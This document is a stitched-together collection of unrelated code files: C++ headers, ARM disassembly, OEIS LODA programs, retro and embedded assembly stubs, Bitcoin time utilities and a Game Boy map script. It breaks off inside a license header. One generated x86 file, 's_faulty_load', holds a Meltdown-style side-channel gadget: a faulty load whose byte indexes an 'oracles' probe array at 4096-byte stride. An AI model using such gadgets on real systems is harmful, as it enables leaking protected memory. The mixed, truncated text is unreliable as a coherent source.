<filesystem> #if defined(__cpp_lib_filesystem) #define INCLUDE_STD_FILESYSTEM_EXPERIMENTAL 0 // Check for feature test macro for <experimental/filesystem> #elif defined(__cpp_lib_experimental_filesystem) #define INCLUDE_STD_FILESYSTEM_EXPERIMENTAL 1 // We can't check if headers exist... // Let's assume experimental to be safe #elif !defined(__has_include) #define INCLUDE_STD_FILESYSTEM_EXPERIMENTAL 1 // Check if the header "<filesystem>" exists #elif __has_include(<filesystem>) // If we're compiling on Visual Studio and are not compiling with C++17, // we need to use experimental #ifdef _MSC_VER // Check and include header that defines "_HAS_CXX17" #if __has_include(<yvals_core.h>) #include <yvals_core.h> // Check for enabled C++17 support #if defined(_HAS_CXX17) && _HAS_CXX17 // We're using C++17, so let's use the normal version #define INCLUDE_STD_FILESYSTEM_EXPERIMENTAL 0 #endif #endif // If the marco isn't defined yet, that means any of the other // VS specific checks failed, so we need to use experimental #ifndef INCLUDE_STD_FILESYSTEM_EXPERIMENTAL #define INCLUDE_STD_FILESYSTEM_EXPERIMENTAL 1 #endif // Not on Visual Studio. Let's use the normal version #else // #ifdef _MSC_VER #define INCLUDE_STD_FILESYSTEM_EXPERIMENTAL 0 #endif // Check if the header "<filesystem>" exists #elif __has_include(<experimental/filesystem>) #define INCLUDE_STD_FILESYSTEM_EXPERIMENTAL 1 // Fail if neither header is available with a nice error message #else #error Could not find system header "<filesystem>" || "<experimental/filesystem>" #endif // We priously determined that we need the exprimental version #if INCLUDE_STD_FILESYSTEM_EXPERIMENTAL // Include it #define _SILENCE_EXPERIMENTAL_FILESYSTEM_DEPRECATION_WARNING 1; #include <experimental/filesystem> // We need the alias from std::experimental::filesystem to std::filesystem namespace fs = std::experimental::filesystem; // We have a decent compiler and can use the normal version #else // Include it #include <filesystem> namespace fs = std::filesystem; #endif #endif // #ifndef INCLUDE_STD_FILESYSTEM_EXPERIMENTAL
test_sleep_wakeup_fail/test_sleep_wakeup_fail.elf: file format elf32-littlearm Disassembly of section .text: 00000000 <hang-0x70>: 0: 00000c00 .word 0x00000c00 4: 00000075 .word 0x00000075 ... 1c: 00000070 .word 0x00000070 20: 00000070 .word 0x00000070 24: 00000070 .word 0x00000070 28: 00000070 .word 0x00000070 ... 34: 00000070 .word 0x00000070 ... 00000070 <hang>: 70: e7fe b.n 70 <hang> ... 00000074 <_start>: 74: f000 f842 bl fc <main> 78: e7fc b.n 74 <_start> Disassembly of section .text.delay: 0000007a <delay>: 7a: b500 push {lr} 7c: 2300 movs r3, #0 7e: e001 b.n 84 <delay+0xa> 80: 46c0 nop ; (mov r8, r8) 82: 3301 adds r3, #1 84: 4283 cmp r3, r0 86: d1fb bne.n 80 <delay+0x6> 88: bd00 pop {pc} Disassembly of section .text.set_wakeup_timer: 0000008c <set_wakeup_timer>: 8c: b500 push {lr} 8e: 2900 cmp r1, #0 90: d003 beq.n 9a <set_wakeup_timer+0xe> 92: 2380 movs r3, #128 ; 0x80 94: 021b lsls r3, r3, #8 96: 4318 orrs r0, r3 98: e001 b.n 9e <set_wakeup_timer+0x12> 9a: 0440 lsls r0, r0, #17 9c: 0c40 lsrs r0, r0, #17 9e: 4b04 ldr r3, [pc, #16] ; (b0 <set_wakeup_timer+0x24>) a0: 6018 str r0, [r3, #0] a2: 2a00 cmp r2, #0 a4: d002 beq.n ac <set_wakeup_timer+0x20> a6: 4b03 ldr r3, [pc, #12] ; (b4 <set_wakeup_timer+0x28>) a8: 2201 movs r2, #1 aa: 601a str r2, [r3, #0] ac: bd00 pop {pc} ae: 46c0 nop ; (mov r8, r8) b0: a2000010 .word 0xa2000010 b4: a2000014 .word 0xa2000014 Disassembly of section .text.write_mbus_message: 000000b8 <write_mbus_message>: b8: 23a0 movs r3, #160 ; 0xa0 ba: 061b lsls r3, r3, #24 bc: 6018 str r0, [r3, #0] be: 4b02 ldr r3, [pc, #8] ; (c8 <write_mbus_message+0x10>) c0: 2000 movs r0, #0 c2: 6019 str r1, [r3, #0] c4: 4770 bx lr c6: 46c0 nop ; (mov r8, r8) c8: a0000004 .word 0xa0000004 Disassembly of section .text.enumerate: 000000cc <enumerate>: cc: 2280 movs r2, #128 ; 0x80 ce: 0600 lsls r0, r0, #24 d0: 0592 lsls r2, r2, #22 d2: 23a0 movs r3, #160 ; 0xa0 d4: 4302 orrs r2, r0 d6: 061b lsls r3, r3, #24 d8: 2000 movs r0, #0 da: 6018 str r0, [r3, #0] dc: 4b01 ldr r3, [pc, #4] ; (e4 <enumerate+0x18>) de: 601a str r2, [r3, #0] e0: 4770 bx lr e2: 46c0 nop ; (mov r8, r8) e4: a0000004 .word 0xa0000004 Disassembly of section .text.sleep: 000000e8 <sleep>: e8: 23a0 movs r3, #160 ; 0xa0 ea: 2201 movs r2, #1 ec: 061b lsls r3, r3, #24 ee: 601a str r2, [r3, #0] f0: 4b01 ldr r3, [pc, #4] ; (f8 <sleep+0x10>) f2: 2000 movs r0, #0 f4: 6018 str r0, [r3, #0] f6: 4770 bx lr f8: a0000004 .word 0xa0000004 Disassembly of section .text.startup.main: 000000fc <main>: fc: 4a17 ldr r2, [pc, #92] ; (15c <main+0x60>) fe: b508 push {r3, lr} 100: 230f movs r3, #15 102: 6013 str r3, [r2, #0] 104: 4a16 ldr r2, [pc, #88] ; (160 <main+0x64>) 106: 2064 movs r0, #100 ; 0x64 108: 6013 str r3, [r2, #0] 10a: f7ff ffb6 bl 7a <delay> 10e: 21fa movs r1, #250 ; 0xfa 110: 20aa movs r0, #170 ; 0xaa 112: f7ff ffd1 bl b8 <write_mbus_message> 116: 2064 movs r0, #100 ; 0x64 118: f7ff ffaf bl 7a <delay> 11c: 2004 movs r0, #4 11e: f7ff ffd5 bl cc <enumerate> 122: 2064 movs r0, #100 ; 0x64 124: f7ff ffa9 bl 7a <delay> 128: 21fa movs r1, #250 ; 0xfa 12a: 20aa movs r0, #170 ; 0xaa 12c: f7ff ffc4 bl b8 <write_mbus_message> 130: 480c ldr r0, [pc, #48] ; (164 <main+0x68>) 132: f7ff ffa2 bl 7a <delay> 136: 21fa movs r1, #250 ; 0xfa 138: 20aa movs r0, #170 ; 0xaa 13a: f7ff ffbd bl b8 <write_mbus_message> 13e: 2200 movs r2, #0 140: 2002 movs r0, #2 142: 2101 movs r1, #1 144: f7ff ffa2 bl 8c <set_wakeup_timer> 148: 4b07 ldr r3, [pc, #28] ; (168 <main+0x6c>) 14a: 2201 movs r2, #1 14c: 601a str r2, [r3, #0] 14e: 2200 movs r2, #0 150: 2368 movs r3, #104 ; 0x68 152: 601a str r2, [r3, #0] 154: f7ff ffc8 bl e8 <sleep> 158: e7fe b.n 158 <main+0x5c> 15a: 46c0 nop ; (mov r8, r8) 15c: e000e280 .word 0xe000e280 160: e000e100 .word 0xe000e100 164: 00004e20 .word 0x00004e20 168: a2000014 .word 0xa2000014
; A184634: a(n) = floor(1/{(10+n^4)^(1/4)}), where {}=fractional part. ; 1,3,11,25,50,86,137,204,291,400,532,691,878,1097,1350,1638,1965,2332,2743,3200,3704,4259,4866,5529,6250,7030,7873,8780,9755,10800,11916,13107,14374,15721,17150,18662,20261,21948,23727,25600,27568,29635,31802,34073,36450,38934,41529,44236,47059,50000,53060,56243,59550,62985,66550,70246,74077,78044,82151,86400,90792,95331,100018,104857,109850,114998,120305,125772,131403,137200,143164,149299,155606,162089,168750,175590,182613,189820,197215,204800,212576,220547,228714,237081,245650,254422,263401,272588,281987,291600,301428,311475,321742,332233,342950,353894,365069,376476,388119,400000,412120,424483,437090,449945,463050,476406,490017,503884,518011,532400,547052,561971,577158,592617,608350,624358,640645,657212,674063,691200,708624,726339,744346,762649,781250,800150,819353,838860,858675,878800,899236,919987,941054,962441,984150,1006182,1028541,1051228,1074247,1097600,1121288,1145315,1169682,1194393,1219450,1244854,1270609,1296716,1323179,1350000,1377180,1404723,1432630,1460905,1489550,1518566,1547957,1577724,1607871,1638400,1669312,1700611,1732298,1764377,1796850,1829718,1862985,1896652,1930723,1965200,2000084,2035379,2071086,2107209,2143750,2180710,2218093,2255900,2294135,2332800,2371896,2411427,2451394,2491801,2532650,2573942,2615681,2657868,2700507,2743600,2787148,2831155,2875622,2920553,2965950,3011814,3058149,3104956,3152239,3200000,3248240,3296963,3346170,3395865,3446050,3496726,3547897,3599564,3651731,3704400,3757572,3811251,3865438,3920137,3975350,4031078,4087325,4144092,4201383,4259200,4317544,4376419,4435826,4495769,4556250,4617270,4678833,4740940,4803595,4866800,4930556,4994867,5059734,5125161,5191150,5257702,5324821,5392508,5460767,5529600,5599008,5668995,5739562,5810713,5882450,5954774,6027689,6101196,6175299,6250000 mov $3,$0 add $3,1 mov $1,$3 pow $1,4 mul $1,2 add $1,7 div $1,2 mul $1,2 mov $2,$3 mul $2,5 div $1,$2 add $1,3 mul $1,2 sub $1,8 div $1,2 add $1,1
// Humanoid kinematics - Generic robot kinematics // Author: Philipp Allgeuer <pallgeuer@ais.uni-bonn.de> // Includes #include <humanoid_kinematics/robot_kinematics.h> // Humanoid kinematics namespace namespace humanoid_kinematics { // // RobotKinematics class // // Cartesian origin function rot_conv::Vec3 RobotKinematics::origin(LimbIndex limbIndex, LimbType limbType) const { // Return the required cartesian origin if(limbType == LT_LEG) return originLeg(limbIndex); else if(limbType == LT_ARM) return originArm(limbIndex); else if(limbType == LT_HEAD) return originHead(limbIndex); else return rot_conv::Vec3::Zero(); } } // EOF
SECTION code_clib SECTION code_fp_math48 PUBLIC asm_dgt EXTERN am48_dgt defc asm_dgt = am48_dgt
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r12 push %r14 push %r9 push %rax push %rbx push %rcx push %rdi push %rsi lea addresses_normal_ht+0xe3c3, %rax nop cmp %r12, %r12 movl $0x61626364, (%rax) nop nop sub $60756, %r14 lea addresses_D_ht+0x7c73, %rbx sub $32693, %r9 movb $0x61, (%rbx) and $6360, %r9 lea addresses_UC_ht+0xcf4f, %r14 clflush (%r14) nop nop nop nop nop sub %r11, %r11 movl $0x61626364, (%r14) xor $21896, %r12 lea addresses_UC_ht+0xe5bf, %rsi lea addresses_A_ht+0x17a53, %rdi nop and %rax, %rax mov $48, %rcx rep movsw nop nop nop nop inc %rcx lea addresses_UC_ht+0xa538, %r14 nop nop nop nop and %rdi, %rdi movb (%r14), %r9b nop nop nop nop cmp $10976, %rbx lea addresses_UC_ht+0x12d4b, %rdi clflush (%rdi) nop nop nop nop nop xor %r10, %r10 movups (%rdi), %xmm4 vpextrq $0, %xmm4, %r14 nop nop nop xor %rax, %rax lea addresses_WT_ht+0x180dc, %rsi lea addresses_WC_ht+0x6f53, %rdi nop nop nop nop cmp %r14, %r14 mov $26, %rcx rep movsw nop xor $47483, %r14 lea addresses_A_ht+0x11465, %r10 sub %r11, %r11 movb (%r10), %al xor $29143, %rbx lea addresses_A_ht+0x12a53, %rsi lea addresses_normal_ht+0x7453, %rdi nop nop nop cmp %r14, %r14 mov $28, %rcx rep movsl nop nop nop add $11467, %r12 lea addresses_WC_ht+0xda53, %rsi lea addresses_D_ht+0x938b, %rdi nop nop nop nop nop inc %r10 mov $110, %rcx rep movsl nop and $17688, %rdi lea addresses_UC_ht+0x17273, %rsi lea addresses_WT_ht+0x121e3, %rdi sub $19715, %rbx mov $117, %rcx rep movsw nop nop nop nop nop inc %r11 pop %rsi pop %rdi pop %rcx pop %rbx pop %rax pop %r9 pop %r14 pop %r12 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r13 push %r14 push %r8 push %r9 push %rbp push %rcx // Store lea addresses_D+0xead3, %r14 sub %r10, %r10 mov $0x5152535455565758, %r8 movq %r8, %xmm7 movups %xmm7, (%r14) nop nop nop nop sub $5593, %r14 // Load lea addresses_A+0x14fa6, %r14 clflush (%r14) nop nop nop nop nop dec %rbp mov (%r14), %r8w nop nop sub %rcx, %rcx // Store mov $0x2ad1130000000d23, %r9 nop xor %r14, %r14 movl $0x51525354, (%r9) nop nop xor $39711, %r8 // Store lea addresses_WC+0xb653, %r13 nop and %rbp, %rbp mov $0x5152535455565758, %r14 movq %r14, (%r13) nop cmp $54822, %r13 // Store lea addresses_A+0x773, %r9 clflush (%r9) nop nop nop sub $65116, %r10 mov $0x5152535455565758, %rbp movq %rbp, (%r9) nop nop nop dec %r10 // Faulty Load lea addresses_A+0x19253, %r8 nop nop nop xor %r9, %r9 movups (%r8), %xmm5 vpextrq $0, %xmm5, %rcx lea oracles, %r14 and $0xff, %rcx shlq $12, %rcx mov (%r14,%rcx,1), %rcx pop %rcx pop %rbp pop %r9 pop %r8 pop %r14 pop %r13 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_A', 'same': False, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_D', 'same': False, 'size': 16, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_A', 'same': False, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_NC', 'same': False, 'size': 4, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_WC', 'same': False, 'size': 8, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_A', 'same': False, 'size': 8, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} [Faulty Load] {'src': {'type': 'addresses_A', 'same': True, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 4, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 1, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_UC_ht', 'congruent': 0, 'same': True}, 'dst': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 1, 'congruent': 0, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 16, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_A_ht', 'same': False, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_UC_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': True}, 'OP': 'REPM'} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
/* AG3631A-IOC-01Main.cpp */ /* Author: Marty Kraimer Date: 17MAR2000 */ #include <stddef.h> #include <stdlib.h> #include <stddef.h> #include <string.h> #include <stdio.h> #include "epicsExit.h" #include "epicsThread.h" #include "iocsh.h" int main(int argc,char *argv[]) { if(argc>=2) { iocsh(argv[1]); epicsThreadSleep(.2); } iocsh(NULL); epicsExit(0); return(0); }
; =============================================================== ; Mar 2014 ; =============================================================== ; ; int wa_stack_push(wa_stack_t *s, void *item) ; ; Push item onto stack. ; ; =============================================================== SECTION code_clib SECTION code_adt_wa_stack PUBLIC asm_wa_stack_push EXTERN asm_w_array_append defc asm_wa_stack_push = asm_w_array_append ; enter : hl = stack * ; bc = item ; ; exit : bc = item ; ; success ; ; de = & stack.data[idx ; hl = idx of appended word ; carry reset ; ; fail ; ; hl = -1 ; carry set ; ; uses : af, de, hl
; A132738: Row sums of triangle A132737. ; 1,2,7,16,33,66,131,260,517,1030,2055,4104,8201,16394,32779,65548,131085,262158,524303,1048592,2097169,4194322,8388627,16777236,33554453,67108886,134217751,268435480,536870937,1073741850,2147483675,4294967324,8589934621,17179869214,34359738399,68719476768,137438953505,274877906978,549755813923,1099511627812,2199023255589,4398046511142,8796093022247,17592186044456,35184372088873,70368744177706,140737488355371,281474976710700,562949953421357,1125899906842670,2251799813685295,4503599627370544,9007199254741041,18014398509482034,36028797018964019,72057594037927988,144115188075855925,288230376151711798,576460752303423543,1152921504606847032,2305843009213694009,4611686018427387962,9223372036854775867,18446744073709551676,36893488147419103293,73786976294838206526,147573952589676412991,295147905179352825920,590295810358705651777,1180591620717411303490,2361183241434822606915,4722366482869645213764,9444732965739290427461,18889465931478580854854,37778931862957161709639,75557863725914323419208,151115727451828646838345,302231454903657293676618,604462909807314587353163,1208925819614629174706252,2417851639229258349412429,4835703278458516698824782,9671406556917033397649487,19342813113834066795298896,38685626227668133590597713,77371252455336267181195346,154742504910672534362390611,309485009821345068724781140,618970019642690137449562197,1237940039285380274899124310,2475880078570760549798248535,4951760157141521099596496984,9903520314283042199192993881,19807040628566084398385987674,39614081257132168796771975259,79228162514264337593543950428,158456325028528675187087900765,316912650057057350374175801438,633825300114114700748351602783,1267650600228229401496703205472 mov $1,$0 sub $0,1 add $1,1 mov $2,2 pow $2,$1 add $0,$2 trn $0,3 add $0,1
;; @file ; Provide FSP API entry points. ; ; Copyright (c) 2016, Intel Corporation. All rights reserved.<BR> ; SPDX-License-Identifier: BSD-2-Clause-Patent ;; SECTION .text ; ; Following functions will be provided in C ; extern ASM_PFX(Loader2PeiSwitchStack) extern ASM_PFX(FspApiCallingCheck) ; ; Following functions will be provided in ASM ; extern ASM_PFX(FspApiCommonContinue) extern ASM_PFX(AsmGetFspInfoHeader) ;---------------------------------------------------------------------------- ; FspApiCommon API ; ; This is the FSP API common entry point to resume the FSP execution ; ;---------------------------------------------------------------------------- global ASM_PFX(FspApiCommon) ASM_PFX(FspApiCommon): ; ; EAX holds the API index ; ; ; Stack must be ready ; push eax add esp, 4 cmp eax, dword [esp - 4] jz FspApiCommon1 mov eax, 080000003h jmp exit FspApiCommon1: ; ; Verify the calling condition ; pushad push DWORD [esp + (4 * 8 + 4)] ; push ApiParam push eax ; push ApiIdx call ASM_PFX(FspApiCallingCheck) add esp, 8 cmp eax, 0 jz FspApiCommon2 mov dword [esp + (4 * 7)], eax popad exit: ret FspApiCommon2: popad cmp eax, 3 ; FspMemoryInit API jz FspApiCommon3 call ASM_PFX(AsmGetFspInfoHeader) jmp ASM_PFX(Loader2PeiSwitchStack) FspApiCommon3: jmp ASM_PFX(FspApiCommonContinue)
// Copyright (c) 2009-2010 Satoshi Nakamoto // Copyright (c) 2009-2014 The Bitcoin developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #if defined(HAVE_CONFIG_H) #include "config/coffee-config.h" #endif #include "tinyformat.h" #include "utiltime.h" #include <boost/date_time/posix_time/posix_time.hpp> #include <boost/thread.hpp> using namespace std; static int64_t nMockTime = 0; //! For unit testing int64_t GetTime() { if (nMockTime) return nMockTime; return time(NULL); } void SetMockTime(int64_t nMockTimeIn) { nMockTime = nMockTimeIn; } int64_t GetTimeMillis() { return (boost::posix_time::ptime(boost::posix_time::microsec_clock::universal_time()) - boost::posix_time::ptime(boost::gregorian::date(1970, 1, 1))) .total_milliseconds(); } int64_t GetTimeMicros() { return (boost::posix_time::ptime(boost::posix_time::microsec_clock::universal_time()) - boost::posix_time::ptime(boost::gregorian::date(1970, 1, 1))) .total_microseconds(); } void MilliSleep(int64_t n) { /** * Boost's sleep_for was uninterruptable when backed by nanosleep from 1.50 * until fixed in 1.52. Use the deprecated sleep method for the broken case. * See: https://svn.boost.org/trac/boost/ticket/7238 */ #if defined(HAVE_WORKING_BOOST_SLEEP_FOR) boost::this_thread::sleep_for(boost::chrono::milliseconds(n)); #elif defined(HAVE_WORKING_BOOST_SLEEP) boost::this_thread::sleep(boost::posix_time::milliseconds(n)); #else //should never get here #error missing boost sleep implementation #endif } std::string DateTimeStrFormat(const char* pszFormat, int64_t nTime) { // std::locale takes ownership of the pointer std::locale loc(std::locale::classic(), new boost::posix_time::time_facet(pszFormat)); std::stringstream ss; ss.imbue(loc); ss << boost::posix_time::from_time_t(nTime); return ss.str(); } std::string DurationToDHMS(int64_t nDurationTime) { int seconds = nDurationTime % 60; nDurationTime /= 60; int minutes = nDurationTime % 60; nDurationTime /= 60; int hours = nDurationTime % 24; int days = nDurationTime / 24; if (days) return strprintf("%dd %02dh:%02dm:%02ds", days, hours, minutes, seconds); if (hours) return strprintf("%02dh:%02dm:%02ds", hours, minutes, seconds); return strprintf("%02dm:%02ds", minutes, seconds); }
SilphCo10Script: call SilphCo10Script_5a14f call EnableAutoTextBoxDrawing ld hl, SilphCo10TrainerHeader0 ld de, SilphCo10ScriptPointers ld a, [wSilphCo10CurScript] call ExecuteCurMapScriptInTable ld [wSilphCo10CurScript], a ret SilphCo10Script_5a14f: ld hl, wCurrentMapScriptFlags bit 5, [hl] res 5, [hl] ret z ld hl, SilphCo10GateCoords call SilphCo2Script_59d43 call SilphCo10Text_5a176 CheckEvent EVENT_SILPH_CO_10_UNLOCKED_DOOR ret nz ld a, $54 ld [wNewTileBlockID], a lb bc, 4, 5 predef_jump ReplaceTileBlock SilphCo10GateCoords: db $04,$05 db $FF SilphCo10Text_5a176: ld a, [$ffe0] and a ret z SetEvent EVENT_SILPH_CO_10_UNLOCKED_DOOR ret SilphCo10ScriptPointers: dw CheckFightingMapTrainers dw DisplayEnemyTrainerTextAndStartBattle dw EndTrainerBattle SilphCo10TextPointers: dw SilphCo10Text1 dw SilphCo10Text2 dw SilphCo10Text3 dw PickUpItemText dw PickUpItemText dw PickUpItemText SilphCo10TrainerHeader0: dbEventFlagBit EVENT_BEAT_SILPH_CO_10F_TRAINER_0 db ($3 << 4) ; trainer's view range dwEventFlagAddress EVENT_BEAT_SILPH_CO_10F_TRAINER_0 dw SilphCo10BattleText1 ; TextBeforeBattle dw SilphCo10AfterBattleText1 ; TextAfterBattle dw SilphCo10EndBattleText1 ; TextEndBattle dw SilphCo10EndBattleText1 ; TextEndBattle SilphCo10TrainerHeader1: dbEventFlagBit EVENT_BEAT_SILPH_CO_10F_TRAINER_1 db ($4 << 4) ; trainer's view range dwEventFlagAddress EVENT_BEAT_SILPH_CO_10F_TRAINER_1 dw SilphCo10BattleText2 ; TextBeforeBattle dw SilphCo10AfterBattleText2 ; TextAfterBattle dw SilphCo10EndBattleText2 ; TextEndBattle dw SilphCo10EndBattleText2 ; TextEndBattle db $ff SilphCo10Text1: TX_ASM ld hl, SilphCo10TrainerHeader0 call TalkToTrainer jp TextScriptEnd SilphCo10Text2: TX_ASM ld hl, SilphCo10TrainerHeader1 call TalkToTrainer jp TextScriptEnd SilphCo10Text3: TX_ASM CheckEvent EVENT_BEAT_SILPH_CO_GIOVANNI ld hl, SilphCo10Text_5a1d8 jr nz, .asm_cf85f ld hl, SilphCo10Text_5a1d3 .asm_cf85f call PrintText jp TextScriptEnd SilphCo10Text_5a1d3: TX_FAR _SilphCo10Text_5a1d3 db "@" SilphCo10Text_5a1d8: TX_FAR _SilphCo10Text_5a1d8 db "@" SilphCo10BattleText1: TX_FAR _SilphCo10BattleText1 db "@" SilphCo10EndBattleText1: TX_FAR _SilphCo10EndBattleText1 db "@" SilphCo10AfterBattleText1: TX_FAR _SilphCo10AfterBattleText1 db "@" SilphCo10BattleText2: TX_FAR _SilphCo10BattleText2 db "@" SilphCo10EndBattleText2: TX_FAR _SilphCo10EndBattleText2 db "@" SilphCo10AfterBattleText2: TX_FAR _SilphCo10AfterBattleText2 db "@"
; ; CPC Maths Routines ; ; August 2003 **_|warp6|_** <kbaccam /at/ free.fr> ; ; $Id: cos.asm,v 1.3 2015/01/21 10:56:29 stefano Exp $ ; INCLUDE "cpcfirm.def" INCLUDE "cpcfp.def" PUBLIC cos PUBLIC cosc EXTERN get_para .cos call get_para call firmware .cosc defw CPCFP_FLO_COS ret
;; ;; Copyright (c) 2019, Intel Corporation ;; ;; Redistribution and use in source and binary forms, with or without ;; modification, are permitted provided that the following conditions are met: ;; ;; * Redistributions of source code must retain the above copyright notice, ;; this list of conditions and the following disclaimer. ;; * Redistributions in binary form must reproduce the above copyright ;; notice, this list of conditions and the following disclaimer in the ;; documentation and/or other materials provided with the distribution. ;; * Neither the name of Intel Corporation nor the names of its contributors ;; may be used to endorse or promote products derived from this software ;; without specific prior written permission. ;; ;; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ;; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ;; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE ;; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE ;; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL ;; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR ;; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER ;; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, ;; OR TORT (INCLUDING 